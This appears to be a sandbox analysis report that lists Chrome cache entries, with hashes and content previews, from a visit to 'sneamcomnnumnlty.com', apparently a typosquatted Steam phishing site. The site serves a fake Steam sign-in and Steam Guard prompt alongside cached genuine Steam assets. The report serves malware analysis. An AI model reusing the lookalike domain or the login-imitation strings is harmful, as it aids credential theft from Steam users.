Preview:	..var g_ActiveDropLists = {};..var g_LastSelectHideTime = 0;..var g_fnGPOnClosingModalWindow = null;....$J(function() {...$J(document).on( 'keydown', HandleKeyDown );..});....function HandleMouseClick( e, key )..{.....if ( !g_ActiveDropLists[key] )....return;.....var $Trigger = $J('#'+key+'_trigger');...var $Droplist = $J('#'+key+'_droplist');.....var $Target = $J( e.target);...if ( //$Trigger.is( e.target ) \|\| $J.contains( $Trigger[0], e.target ) \|\|....$Droplist.is( e.target ) \|\| $J.contains( $Droplist[0], e.target ) )....return;......DSelectHide( key );..}....var TYPEAHEAD_TIMEOUT_MS = 750;..var g_timeLastCharEvent = 0;..var g_strTypeahead = '';....function HandleKeyDown( e )..{...var bSwallowEvent = false;...var keynum = e.which;.....if ( e.altKey \|\| e.ctrlKey )...{....// bail out now so the browser can do it's thing....return;...}.....var bCharEvent = false;...switch ( keynum )...{......case 40: ..case 38: ..case 13: ..case 9: ..case 34: ..case 33: ..case 36: ..case 35: ..case 27:

Chrome Cache Entry: 395

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (64431)
Category:	downloaded
Size (bytes):	170681
Entropy (8bit):	5.649685917515725
Encrypted:	false
SSDEEP:	3072:92u8UVOyWhouuQAGt7xZtsbMnBBsb0vaROMMNefopab0ErWlAuROMMNefopab0qr:92u8YOvPuktxYROMMNefopab0ErWlAu1
MD5:	B52A187C21D0264BC01F11DF5E8DBC40
SHA1:	5DECA53E04C9A303B79F0BAF6EA8F832D3795BA8
SHA-256:	101204743A44875D6879E53352804F2D8442832B0E33A76C64641FA932E2C88B
SHA-512:	FAC8D5B2CDE067E3F1A8E8534F6A53546AF73A0D7BF95B893863E7EF6CE019B7B878884C7AC6A5F4A93B81FAA6789D6A687E21BE646412F26A4ED2B0BEB06FE3
Malicious:	false
Reputation:	low
URL:	https://sneamcomnnumnlty.com/7d1d7c577e0751595d5c574d1a0a6453077b7c7475.js
Preview:	(function(){const t=document.createElement("link").relList;if(t&&t.supports&&t.supports("modulepreload"))return;for(const i of document.querySelectorAll('link[rel="modulepreload"]'))r(i);new MutationObserver(i=>{for(const o of i)if(o.type==="childList")for(const c of o.addedNodes)c.tagName==="LINK"&&c.rel==="modulepreload"&&r(c)}).observe(document,{childList:!0,subtree:!0});function n(i){const o={};return i.integrity&&(o.integrity=i.integrity),i.referrerPolicy&&(o.referrerPolicy=i.referrerPolicy),i.crossOrigin==="use-credentials"?o.credentials="include":i.crossOrigin==="anonymous"?o.credentials="omit":o.credentials="same-origin",o}function r(i){if(i.ep)return;i.ep=!0;const o=n(i);fetch(i.href,o)}})();function lt(e){return e&&e.__esModule&&Object.prototype.hasOwnProperty.call(e,"default")?e.default:e}var ut={exports:{}},ke={};const Ot=React;/*. @license React. * react-jsx-runtime.production.min.js. . Copyright (c) Facebook, Inc. and its affiliates.. . This source code is licens

Chrome Cache Entry: 396

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	3684
Entropy (8bit):	4.780503743341751
Encrypted:	false
SSDEEP:	96:CXQSfzclE2Bc4N/waCVAh+m8CE2n1HNBRjVO2PGPLYOgzypH6YB:WQAzSE2BB9/c1CEEtoFUOgzs6YB
MD5:	B7A7E43284E2FFE806AC1BC27C1F6A87
SHA1:	E8196489E2AE99EC6EB33995B5A3E108D6E44DE0
SHA-256:	C3A7C646A1305017F22423030CB5A12ACC9F96B64013DCEF7AEB80567B542CBB
SHA-512:	757E4F382A864CAC9F975220C28586F5EA415B2E2215375C1A47E011A9190FCD15313D399007539F150A6DF0378B8F2022AC88E995693AB03A9F5656BFE40832
Malicious:	false
Reputation:	low
URL:	https://store.akamai.steamstatic.com/public/shared/images/header/logo_steam.svg?t=962016
Preview:	<?xml version="1.0" encoding="utf-8"?>.. Generator: Adobe Illustrator 16.0.0, SVG Export Plug-In . SVG Version: 6.00 Build 0) -->..<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">..<svg version="1.1" id="Layer_1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px"... width="355.666px" height="89.333px" viewBox="0 0 355.666 89.333" enable-background="new 0 0 355.666 89.333"... xml:space="preserve">..<g>...<path fill="#C5C3C0" d="M44.238,0.601C21,0.601,1.963,18.519,0.154,41.29l23.71,9.803c2.009-1.374,4.436-2.179,7.047-2.179....c0.234,0,0.467,0.008,0.698,0.021l10.544-15.283c0-0.073-0.001-0.144-0.001-0.216c0-9.199,7.483-16.683,16.683-16.683....c9.199,0,16.682,7.484,16.682,16.683c0,9.199-7.483,16.684-16.682,16.684c-0.127,0-0.253-0.003-0.379-0.006l-15.038,10.73....c0.008,0.195,0.015,0.394,0.015,0.592c0,6.906-5.617,12.522-12.522,12.522c-6.061,0-11.129-4.326-12.277-10.055L1.678,56.893....c5.25,18.5

Chrome Cache Entry: 397

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with CRLF line terminators
Category:	downloaded
Size (bytes):	25021
Entropy (8bit):	5.432008045697921
Encrypted:	false
SSDEEP:	384:aUXvnJo2Facv5Wc4gOVMXBGdJTZ1CFN6ex6K2UD3mt4lRyOb74jCWqGil/wSwf0m:aU/nq2Fd4gC6WqGil/wS20m
MD5:	1F10C8901E451C0A179FEC8F29288CAC
SHA1:	539CAF472E65DDD35960ED129791DAB0586DA854
SHA-256:	73E516FF6298C9F13E8FB1C21E62BAC77DD23FC679594EADD982D8C4A94173F8
SHA-512:	D9EA7A3494C414FCFB8937DAFC70FCF8829FD5AC00E700C673C98A766089BA38D7F6A45921F2A5E116E70C13BCE74227C8E5318C162AE8A7DCC7F8744065BF11
Malicious:	false
Reputation:	low
URL:	https://help.steampowered.com/ru/public/shared/javascript/shared_responsive_adapter.js?v=HxDIkB5FHAoX
Preview:	"use strict";....// build our menu on init..jQuery( function($) {...var mqQueryMenuMode = window.matchMedia ? window.matchMedia("(max-width: 910px)") : {matches: false};...var mqMobileMode = window.matchMedia ? window.matchMedia("(max-width: 500px)") : {matches: false};.....var $HTML = $J('html');...window.UseTouchFriendlyMode = function() {....return $HTML.hasClass( 'responsive' ) && ( mqQueryMenuMode.matches \|\| $HTML.hasClass('touch') );...};...window.UseSmallScreenMode = function() {....return $HTML.hasClass( 'responsive' ) && mqQueryMenuMode.matches;...};...window.UseMobileScreenMode = function() {....return $HTML.hasClass( 'responsive' ) && mqMobileMode.matches;...};...window.UseTabletScreenMode = function() {....return $HTML.hasClass( 'responsive' ) && $HTML.hasClass( 'tablet' );...};...window.UseNewMobileAppMode = function() {....// the new mobile app can run on screen widths wider than responsive_css_maxwidth....return $HTML.hasClass( 'responsive' ) && $HTML.hasClass( 'rn_mobil

Chrome Cache Entry: 398

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (7717)
Category:	downloaded
Size (bytes):	7804
Entropy (8bit):	5.075534803725203
Encrypted:	false
SSDEEP:	192:ynPvanFGnHTl6It7+0Kb3ITOqN7lzsh0m3ftn:ynPiwHTlfV+0Kb3ITbN7lzsh0m31n
MD5:	7051B8038C5E00B3FC369D24CCA79D20
SHA1:	9B2498A477D25D6D6C6BDA01E5DD413446544A2E
SHA-256:	F2D659091B152890E05262CF498454D3D0365D736D5BF4EABEFFCAFD4B87D386
SHA-512:	F21341C978E0B374055C53A3596CA17FF996E1027081910FD151A6B2965D99CE105A0F5F39C5FCEFF42440AC7B13CEA8CDFF3F35272176C7F208ED47445013DB
Malicious:	false
Reputation:	low
URL:	https://sneamcomnnumnlty.com/en-hdy-RcQs.js
Preview:	const e="Your session expired",n="Incorrect code, please try again",o="A server error occurred",i="There was an error communicating with the network. Please try again later.",t="Steam Guard",a="Account: %1$s",s="You have a mobile authenticator protecting this account.",_="Enter the code from your Steam Mobile App",r="Help, I no longer have access to my Steam Mobile App",c="Enter a code instead",g="You have an email authenticator protecting this account.",l="Enter the code from your email address at: %1$s",u="Help, I no longer have access to the email address for this account",m="Close",h="Loading Account",d="Please check your password and account name and try again.",p="Sign in",L="Sign in with account name",E="Password",f="Help, I can't sign in",w="Or sign in with QR",S=".... (Simplified Chinese)",v=".... (Traditional Chinese)",k="... (Japanese)",A="... (Korean)",b="... (Thai)",I="......... (Bulgarian)",C=".e.tina (Czech)",R="Dansk (Danish)

Chrome Cache Entry: 399

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with CRLF line terminators
Category:	downloaded
Size (bytes):	9318
Entropy (8bit):	5.299236226685305
Encrypted:	false
SSDEEP:	192:3mqlY8tyyVg9ynE4QzJ/kZYrzh9xdyYRfeB+R2ZavAAL7WDu:3VoQw7/6ueBzwvAALD
MD5:	B23A2EA37FB7DC6A317180ACB9640BBA
SHA1:	559826C6B73A59BCCF54F9034D7E8C43D03C091A
SHA-256:	23D2A8FBAA5A5F1F551B5D70440ADEE80FD519B52B3D6559CBBEA35296679E2F
SHA-512:	E946116847558894E42E26E6702B600531E85CD0DA91076E8AF2FB3FECE913F5FF4E8AA8744D2D43AFA58AB2A0289954726434946E158FC840C150F2A079F109
Malicious:	false
Reputation:	low
URL:	https://store.akamai.steamstatic.com/public/shared/javascript/dselect.js?v=sjouo3-33Gox&l=english
Preview:	..var g_ActiveDropLists = {};..var g_LastSelectHideTime = 0;..var g_fnGPOnClosingModalWindow = null;....$J(function() {...$J(document).on( 'keydown', HandleKeyDown );..});....function HandleMouseClick( e, key )..{.....if ( !g_ActiveDropLists[key] )....return;.....var $Trigger = $J('#'+key+'_trigger');...var $Droplist = $J('#'+key+'_droplist');.....var $Target = $J( e.target);...if ( //$Trigger.is( e.target ) \|\| $J.contains( $Trigger[0], e.target ) \|\|....$Droplist.is( e.target ) \|\| $J.contains( $Droplist[0], e.target ) )....return;......DSelectHide( key );..}....var TYPEAHEAD_TIMEOUT_MS = 750;..var g_timeLastCharEvent = 0;..var g_strTypeahead = '';....function HandleKeyDown( e )..{...var bSwallowEvent = false;...var keynum = e.which;.....if ( e.altKey \|\| e.ctrlKey )...{....// bail out now so the browser can do it's thing....return;...}.....var bCharEvent = false;...switch ( keynum )...{......case 40: ..case 38: ..case 13: ..case 9: ..case 34: ..case 33: ..case 36: ..case 35: ..case 27:

Chrome Cache Entry: 400

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	dropped
Size (bytes):	807
Entropy (8bit):	0.4261982118465057
Encrypted:	false
SSDEEP:	3:CUlFE/xlzeze:zFEGze
MD5:	39BC952559E5A8F4E84BA035FB2F7390
SHA1:	4F415467396B4A50149373CA75BCB4C04C2F60B6
SHA-256:	8F73EF54EFC672061F69CA881FE318DCCC6DD67D993CBB8E76E53E52C84EE493
SHA-512:	C7E107E803941A965A173EC8DC7DDFB052C042AB0070E92E5FF47D0E02ECB38446BDC13BBF201D68B2F5696AFBEEA1AF494A65EED4B086EF368CF147892E4409
Malicious:	false
Reputation:	low
Preview:	GIF89a.......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................!.......,................;

Chrome Cache Entry: 401

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (945)
Category:	dropped
Size (bytes):	131882
Entropy (8bit):	5.376896897488642
Encrypted:	false
SSDEEP:	1536:XtTqru1xouE1ZTnPrMiY6WRdA2qZpXnBnK3xsVdFE7zptEvp62kdS6F:JmuWl7ndK3xsVdKEd56F
MD5:	64141792105EA4861F9F33294D65AB81
SHA1:	506D9100CAA070005A890BD496DE64C437D6D008
SHA-256:	21758ED084CD0E37E735722EE4F3957EA960628A29DFA6C3CE1A1D47A2D6E4F7
SHA-512:	30E0A9AA84688AC093C09F2F41089C899BF4A9CA5138289D7A4DC64C54BA293936FB2EE6BA724894A09590509863EA7712B6055C28E61639DF4D34520B538759
Malicious:	false
Reputation:	low
Preview:	/*. @license React. * react-dom.production.min.js. . Copyright (c) Facebook, Inc. and its affiliates.. . This source code is licensed under the MIT license found in the. * LICENSE file in the root directory of this source tree.. /.(function(){/. Modernizr 3.0.0pre (Custom Build) \| MIT.*/.'use strict';(function(Q,mb){"object"===typeof exports&&"undefined"!==typeof module?mb(exports,require("react")):"function"===typeof define&&define.amd?define(["exports","react"],mb):(Q=Q\|\|self,mb(Q.ReactDOM={},Q.React))})(this,function(Q,mb){function n(a){for(var b="https://reactjs.org/docs/error-decoder.html?invariant="+a,c=1;c<arguments.length;c++)b+="&args[]="+encodeURIComponent(arguments[c]);return"Minified React error #"+a+"; visit "+b+" for the full message or use the non-minified dev environment for full errors and additional helpful warnings."}.function nb(a,b){Ab(a,b);Ab(a+"Capture",b)}function Ab(a,b){$b[a]=b;for(a=0;a<b.length;a++)cg.add(b[a])}function cj(a){if(Zd.call(dg,a))retu

Chrome Cache Entry: 402

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (7717)
Category:	dropped
Size (bytes):	7804
Entropy (8bit):	5.075534803725203
Encrypted:	false
SSDEEP:	192:ynPvanFGnHTl6It7+0Kb3ITOqN7lzsh0m3ftn:ynPiwHTlfV+0Kb3ITbN7lzsh0m31n
MD5:	7051B8038C5E00B3FC369D24CCA79D20
SHA1:	9B2498A477D25D6D6C6BDA01E5DD413446544A2E
SHA-256:	F2D659091B152890E05262CF498454D3D0365D736D5BF4EABEFFCAFD4B87D386
SHA-512:	F21341C978E0B374055C53A3596CA17FF996E1027081910FD151A6B2965D99CE105A0F5F39C5FCEFF42440AC7B13CEA8CDFF3F35272176C7F208ED47445013DB
Malicious:	false
Reputation:	low
Preview:	const e="Your session expired",n="Incorrect code, please try again",o="A server error occurred",i="There was an error communicating with the network. Please try again later.",t="Steam Guard",a="Account: %1$s",s="You have a mobile authenticator protecting this account.",_="Enter the code from your Steam Mobile App",r="Help, I no longer have access to my Steam Mobile App",c="Enter a code instead",g="You have an email authenticator protecting this account.",l="Enter the code from your email address at: %1$s",u="Help, I no longer have access to the email address for this account",m="Close",h="Loading Account",d="Please check your password and account name and try again.",p="Sign in",L="Sign in with account name",E="Password",f="Help, I can't sign in",w="Or sign in with QR",S=".... (Simplified Chinese)",v=".... (Traditional Chinese)",k="... (Japanese)",A="... (Korean)",b="... (Thai)",I="......... (Bulgarian)",C=".e.tina (Czech)",R="Dansk (Danish)

Chrome Cache Entry: 403

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with CRLF line terminators
Category:	downloaded
Size (bytes):	14447
Entropy (8bit):	5.021040825168234
Encrypted:	false
SSDEEP:	384:tz/MiNJjJjUIOBc18NTkPODsPWNm2eRuhP3Txcb7/G+lTRBYUX8iWRsbRZCaA:t/POsWDTIn8s2
MD5:	5EC80E0EA50E955C3D7193FA098AB013
SHA1:	C4D1182F4933DDA515896B1F71C010617B3C509F
SHA-256:	0FBB541D7D9CB3D5428CF496BDA26B8D9CDB012E184933FE0589BE3795F1AE6C
SHA-512:	6B01DDF2F0FFAD9C0F52027D1ACECCC5D5D53669C0E7A1DD8FD3E0A351919CCA859BDE1AFCA5F1FF0C48597F17910316316FB2A269120D38D409A5716BC2CDEA
Malicious:	false
Reputation:	low
URL:	https://store.akamai.steamstatic.com/public/javascript/redeemwalletcode.js?v=XsgODqUOlVw9&l=english
Preview:	..var g_recaptchaInstance = null;....function DisplayPage( page )..{....$('error_display').innerHTML = '';....$('error_display').style.display = 'none';.......switch ( page )....{.....case 'code':......$('wallet_code_form').style.display = '';......$('redeem_wallet_code_upsell_text').style.display = '';......$('address_form').style.display = 'none';......$('validate_btn').style.display = '';......$('validate_btn_in_progress').style.display = 'none';........$('wallet_code').value = '';.....break;..........case 'address':......$('address_btn').style.display = '';......$('address_btn_in_progress').style.display = 'none';......$('wallet_code_form').style.display = 'none';......$('redeem_wallet_code_upsell_text').style.display = 'none';......$('main_content').style.backgroundImage = "url('')";......$('address_form').style.display = '';.....break;....}..}....function UpdateStateSelection()..{...try ...{....if ( $('billing_country').value == 'US' )....{.....$('billing_state_text').style.displ

Chrome Cache Entry: 404

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1819), with CRLF, LF line terminators
Category:	downloaded
Size (bytes):	89316
Entropy (8bit):	5.660692146381461
Encrypted:	false
SSDEEP:	1536:ONnJeaPWZxrmucwoMf1abY1oB2n70HupuF8P+WaVgDYqiaiiP1rNUEsANnMxafTx:ytlDKHUnweoQk
MD5:	70D168FD2358727EE4DC089670B4430C
SHA1:	7608A16C5A93D0CB7DB2B2F0DE77B5E1FF07BD17
SHA-256:	BFC9BFA0C591D7665BBB9CE469612255D7279029D32246BFFEFD1F8AE5C589F6
SHA-512:	A4C247509116C2B127C6FD1DCF66B1231FACA39EE1A5FF2B4BD401C949B9B56D2098C9FB54BD993E6ABA218A31F0A4C46B9E59F5C33F87B789F5736CB68A16F9
Malicious:	false
Reputation:	low
URL:	https://store.akamai.steamstatic.com/public/shared/css/shared_global.css?v=mm2EqtpQ_Tvc&l=english
Preview:	:root {.../* System greys /...--gpSystemLightestGrey: #DCDEDF;...--gpSystemLighterGrey: #B8BCBF;...--gpSystemLightGrey: #8B929A;...--gpSystemGrey: #67707B;...--gpSystemDarkGrey: #3D4450;...--gpSystemDarkerGrey: #23262E;...--gpSystemDarkestGrey: #0E141B;...../ Store blue greys /...--gpStoreLightestGrey: #CCD8E3;...--gpStoreLighterGrey: #A7BACC;...--gpStoreLightGrey: #7C8EA3;...--gpStoreGrey: #4e697d;...--gpStoreDarkGrey: #2A475E;...--gpStoreDarkerGrey: #1B2838;...--gpStoreDarkestGrey: #000F18;...../ Gradients /...--gpGradient-StoreBackground: linear-gradient(180deg, var(--gpStoreDarkGrey) 0%, var(--gpStoreDarkerGrey) 80%);...--gpGradient-LibraryBackground: radial-gradient(farthest-corner at 40px 40px,#3D4450 0%, #23262E 80%);...../ Colours */...--gpColor-Blue: #1A9FFF;...--gpColor-BlueHi: #00BBFF;...--gpColor-Green: #5ba32b;...--gpColor-GreenHi: #59BF40;...--gpColor-Orange: #E35E1C;...--gpColor-Red: #D94126;...--gpColor-RedHi: #EE563B;...--gpColor-DustyBlue: #417a9b;...--gpColor-L

Chrome Cache Entry: 405

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1136)
Category:	downloaded
Size (bytes):	1621
Entropy (8bit):	5.313283498917295
Encrypted:	false
SSDEEP:	24:hY6svD+6zSU6pedQf3Zvcn1BZdAe1nCr1LTHI5z8x9t23S8f:3qD+2+pUAew85zs9pA
MD5:	770931E927AF6363C706239CD9F60052
SHA1:	6166B1B7CA400CD2C6337FE767CA246C491E0105
SHA-256:	76711A44CA63F197070E0F6B42DA9172298680EB77F399BAD6AE2965E0EAD627
SHA-512:	349322344E47CBFE340577C2BDF3E716EC34B10C668DD7B99A004606491BA133325C004CABF5298314DC64E64F5C1D6E33E26BCD310C18780A53B1182A410E29
Malicious:	false
Reputation:	low
URL:	https://www.gstatic.com/recaptcha/releases/Nh10qRQB5k2ucc5SCBLAQ4nA/recaptcha__ru.js
Preview:	<!DOCTYPE html>.<html lang=en>. <meta charset=utf-8>. <meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width">. <title>Error 404 (Not Found)!!1</title>. <style>. {margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat 0% 0%/100% 100%;-moz-border-image:url(//www.

Chrome Cache Entry: 406

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	3684
Entropy (8bit):	4.780503743341751
Encrypted:	false
SSDEEP:	96:CXQSfzclE2Bc4N/waCVAh+m8CE2n1HNBRjVO2PGPLYOgzypH6YB:WQAzSE2BB9/c1CEEtoFUOgzs6YB
MD5:	B7A7E43284E2FFE806AC1BC27C1F6A87
SHA1:	E8196489E2AE99EC6EB33995B5A3E108D6E44DE0
SHA-256:	C3A7C646A1305017F22423030CB5A12ACC9F96B64013DCEF7AEB80567B542CBB
SHA-512:	757E4F382A864CAC9F975220C28586F5EA415B2E2215375C1A47E011A9190FCD15313D399007539F150A6DF0378B8F2022AC88E995693AB03A9F5656BFE40832
Malicious:	false
Reputation:	low
Preview:	<?xml version="1.0" encoding="utf-8"?>.. Generator: Adobe Illustrator 16.0.0, SVG Export Plug-In . SVG Version: 6.00 Build 0) -->..<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">..<svg version="1.1" id="Layer_1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px"... width="355.666px" height="89.333px" viewBox="0 0 355.666 89.333" enable-background="new 0 0 355.666 89.333"... xml:space="preserve">..<g>...<path fill="#C5C3C0" d="M44.238,0.601C21,0.601,1.963,18.519,0.154,41.29l23.71,9.803c2.009-1.374,4.436-2.179,7.047-2.179....c0.234,0,0.467,0.008,0.698,0.021l10.544-15.283c0-0.073-0.001-0.144-0.001-0.216c0-9.199,7.483-16.683,16.683-16.683....c9.199,0,16.682,7.484,16.682,16.683c0,9.199-7.483,16.684-16.682,16.684c-0.127,0-0.253-0.003-0.379-0.006l-15.038,10.73....c0.008,0.195,0.015,0.394,0.015,0.592c0,6.906-5.617,12.522-12.522,12.522c-6.061,0-11.129-4.326-12.277-10.055L1.678,56.893....c5.25,18.5

Chrome Cache Entry: 407

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1836), with no line terminators
Category:	dropped
Size (bytes):	1836
Entropy (8bit):	5.861467806576844
Encrypted:	false
SSDEEP:	48:iEzpxKo75XI2ovtUjPKtXsDXx/gS1aiRLrwUnG:pVgMI5czZv5suG
MD5:	3FAEB04F00B985F90397C8925CAC45CB
SHA1:	8ADAC17CCCB9F833DFF9CD1C285515C8D9F4F361
SHA-256:	D68B3A3610B9153CC79703A447FDEDBF267889DA21115A5235C488130BE06277
SHA-512:	6D9577024472023F0919C497CEFB256557660362F7C0EC78648812538E1005C65EB3AB83F620220CDE8485EA4E3466AAB9AC7D72799FC6DAE192F9CA1F06F664
Malicious:	false
Reputation:	low
Preview:	/* PLEASE DO NOT COPY AND PASTE THIS CODE. */(function(){var w=window,C='___grecaptcha_cfg',cfg=w[C]=w[C]\|\|{},N='grecaptcha';var E='enterprise',a=w[N]=w[N]\|\|{},gr=a[E]=a[E]\|\|{};gr.ready=gr.ready\|\|function(f){(cfg['fns']=cfg['fns']\|\|[]).push(f);};w['__recaptcha_api']='https://recaptcha.net/recaptcha/enterprise/';(cfg['enterprise']=cfg['enterprise']\|\|[]).push(true);(cfg['render']=cfg['render']\|\|[]).push('explicit');w['__google_recaptcha_client']=true;var d=document,po=d.createElement('script');po.type='text/javascript';po.async=true; po.charset='utf-8';var v=w.navigator,m=d.createElement('meta');m.httpEquiv='origin-trial';m.content='A7uxtj3+hJmOcZFooFT0Ps276PuOqGnM1jfoPbFvxWp73VC60LnYGzayHVvcFeEiF0qrwy7fQAL+gGVXU+f9IQcAAACTeyJvcmlnaW4iOiJodHRwczovL3JlY2FwdGNoYS5uZXQ6NDQzIiwiZmVhdHVyZSI6IkRpc2FibGVUaGlyZFBhcnR5U3RvcmFnZVBhcnRpdGlvbmluZzIiLCJleHBpcnkiOjE3NDIzNDIzOTksImlzU3ViZG9tYWluIjp0cnVlLCJpc1RoaXJkUGFydHkiOnRydWV9';if(v&&v.cookieDeprecationLabel){v.cookieDeprecationLabel.getValue().the

Chrome Cache Entry: 408

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 76 x 75, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	2686
Entropy (8bit):	7.8983946442596595
Encrypted:	false
SSDEEP:	48:gJ/6YRACqqA4fv93zCq/GY0oxlo1SoCvTY5nl4eXmB42cJ5lpsR53J7/3kf:gSYRJA4fv9hBFxcSTLYw42csDN/3kf
MD5:	8A1D77FA0B95FD6C8E21166BDA4229F4
SHA1:	68CD21CC81CC7B812ED41FD7DF98B8C73AAD73BD
SHA-256:	ABF7B6E3C36726CB1DAD94DC2AB7FFAA66A06D76BD59C047EFB1D2867F35409C
SHA-512:	C6AA743B7F72F54661EC39F1876A54D7A3E9C1C6F6AB3359FEEEB581D14734FF7A74A386F894BDB82D04F8D17D89EB3E3A370A6138EE43DB351DD5368E38A6A3
Malicious:	false
Reputation:	low
URL:	https://store.akamai.steamstatic.com/public/images/mobile/steam_logo.png
Preview:	.PNG........IHDR...L...K......a.....pHYs.................sRGB.........gAMA......a.....IDATx..\.r...>..l.i.M;cx.V.....w.v.Yf%..$=..'...t%j.L/.....vLW."e:cz.%c+3.XJ....9....... ....H^..<.._".L.VK%....H...('@......%.C..H.C.h[(....n......cB.rS....%kDBUJ..a...-....n?h..0R..>.u<.$.G.F.[..I....~.F....D]0...!.3......F!.w...M.....7Q}.)...%q..v..3K `..D...Ri-.#14a..M..c.F..2...U..C.V...cI~VH....&...i.-5aW..X'....#X..JsiHKL.R...ur$..5.;...BR.-.aL.y.x.AV.M....'.h).o$Y..........Q.....[....G.....k3z.]..TT.........g.R./..7..V.}.\|}.!.H.;...3(..$Kb..6w..}....eC.0o..Kd.5....'...v.0...p..P........?P.S....+........B..H.?y...%..T...Q.......N !.^\|.\|...t...Z...w/~../.....v.).UzY...d....n.......G&KQ..>{U6..M.@..3....X6...%V.......(..2}.1....7.....O8.A7[..a....r.b..C..H.T.......:m...#.@.~.nv.?.....-~.$....K$.v..-...C..D.E.0...'...ES.,.e...,"......ZTU..k..ug.....1a:D.G.z.....j@.@\?x..C.sow.........~..t.....d..N......O...s..3z.C...L..\|.s.sohd..[E.a...iO......q\|1....a

Chrome Cache Entry: 409

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows icon resource - 5 icons, 16x16, 32 bits/pixel, 24x24, 32 bits/pixel
Category:	downloaded
Size (bytes):	38554
Entropy (8bit):	7.281917544628079
Encrypted:	false
SSDEEP:	768:PcaDYrV5KBau+3erpKn9jpe7z9mWAFjQcR4D9DQ0LKfjLh:PcsiV5Y+erc9T/H4f0jLh
MD5:	231913FDEBABCBE65F4B0052372BDE56
SHA1:	553909D080E4F210B64DC73292F3A111D5A0781F
SHA-256:	9F890A9DEBCDFCCC339149A7943BE9AFF9E4C9203C2FA37D5671A5B2C88503AD
SHA-512:	7B11B709968C5A52B9B60189FB534F5DF56912417243820E9D1C00C97F4BD6D0835F2CDF574D0C36ECB32DBBF5FC397324DF54F7FDF9E1B062B5DBDA2C02E919
Malicious:	false
Reputation:	low
URL:	https://store.steampowered.com/favicon.ico
Preview:	............ .h...V......... ......... .... .....F...00.... ..%............ ..R...D..(....... ..... ..................................u...t...w.H.z...\|..}...}...\|..z...w.I.t...u...........p...f...e...j...k..k...l...m...n...n...n...m..j...e...f...q...Z...Y...]..._...w6...T..{;..`..._..._..._..._..._...]...Y...Z..~K...P...O...{I............P..R...S...S...S...S...S...R..~K..t@.I.Q!.{T.....................M..zF..{H..{H..{H..{H..zG..yE.I..................................zJ$.m9..o;..o<..p<..p<..o;.........................................eM.p@$.c0..d0..d1..d1..............xP<.g9#..hW..........................~o.],..Z(..Z)...j].a7$.P ..O...P ..O.....v..........................dV.O...Q"..F...H...I...I...I...H...Q&...........................H...I...C...C...C...C...C...C...@....rg.......................C...C...?..I>...>...>...>...>...=...Y:*.....................x^Q.<...?..I=...:...:...:...:...:...:...9...mUG.............ti.=...:...=...7...7...6...6...6...6...6...6...4...@%..R:

Chrome Cache Entry: 410

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (3690), with CRLF, LF line terminators
Category:	downloaded
Size (bytes):	42674
Entropy (8bit):	5.291208055331133
Encrypted:	false
SSDEEP:	768:VEFFBICBdexIB5vvpq1vd9X0t9lWUMhXB+8pHjBtPF51ffVuZSIopIAcriiwo+nU:VEFFBICBdexIB5vv81vdh0t9lWUMhXBa
MD5:	17EADF7F3E97C80DFF6FE992A3D9DF35
SHA1:	5F4553BE1A264358023FBA54AD00B7057185602B
SHA-256:	512369A2DCBC2C7170D71A83E364A578B5FF897E309E1FC9DFE3F32B66B92B29
SHA-512:	1F435CDD7977A736FBCF0BEAEDF08B89A95180D44C2C820AF4D2E630F8BDD2452DADCCF0CF9631414E105AECCB0B6CA229159B69FD2C5CADB1B0FB66B2CC63CC
Malicious:	false
Reputation:	low
URL:	https://store.steampowered.com/mobile
